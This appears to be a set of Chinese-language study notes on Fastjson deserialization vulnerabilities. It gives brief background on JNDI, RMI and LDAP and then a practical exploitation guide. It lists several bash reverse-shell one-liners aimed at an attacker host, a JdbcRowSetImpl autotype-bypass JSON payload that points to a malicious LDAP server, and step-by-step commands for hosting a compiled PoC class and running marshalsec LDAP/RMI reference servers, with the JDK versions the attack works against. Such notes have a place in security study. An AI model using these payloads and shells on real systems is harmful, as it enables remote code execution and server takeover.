fastjson
fastjson知识点
简介
Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。(Alibaba出)
相关知识
JNDI
Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
- JNDI Reference 配合 RMI
- JNDI Reference 配合 LDAP
RMI
RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议
LDAP
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
反弹shell
- 命令
- bash -i >& /dev/tcp/X.X.X.X/443 0>&1
exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1
相关漏洞
Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)
-
原理
- 漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,服务器接收到危险类执行其中恶意代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
-
利用链分析
-
影响范围
- Fastjson < 1.2.25
-
利用
-
编译好java文件
- javac poc2.java
- python -m http.server 2222
-
base64处理
-
发送payload,目标触发
Fastjson 1.2.47 远程命令执行漏洞
-
影响范围
- fastjson<=1.2.47
常见问题
dnslog有回显,但fastjson无法利用成功
-
fastjson>=1.2.25默认为false,autotype = false,JdbcRowSetImpl 利用链无法利用成功,
-
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.28.70:9999/Poc","autoCommit":true}}
- @type:目标反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。 - JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。
- @type:目标反序列化类名;
-
参考文献
漏洞利用
利用步骤
-
LDAP
-
编译好java文件,且提供web服务
- javac poc2.java
- python -m http.server 2222
-
启动LDAP服务端
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.28.70:2222/#Poc2 9999
-
发送payload,目标触发
-
-
RMI
-
编译好java文件,且提供web服务
- javac poc2.java
- python -m http.server 2222
-
启动RMI服务端
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.28.70:2222/#Poc2 9999
-
发送payload,目标触发
-
注
-
RMI利用的JDK版本≤JDK 6u141, JDK 7u131, JDK 8u121
- jdk8u122后增加了反序列化白名单限制,关闭了rmi远程加载代码
-
LADP利用JDK版本≤ JDK 11.0.1、8u182、7u191、6u201
- java8u191关闭了JNDI远程类加载
参考文献
利用工具
jndi_tool
marshalsec-0.0.3-SNAPSHOT-all

浙公网安备 33010602011771号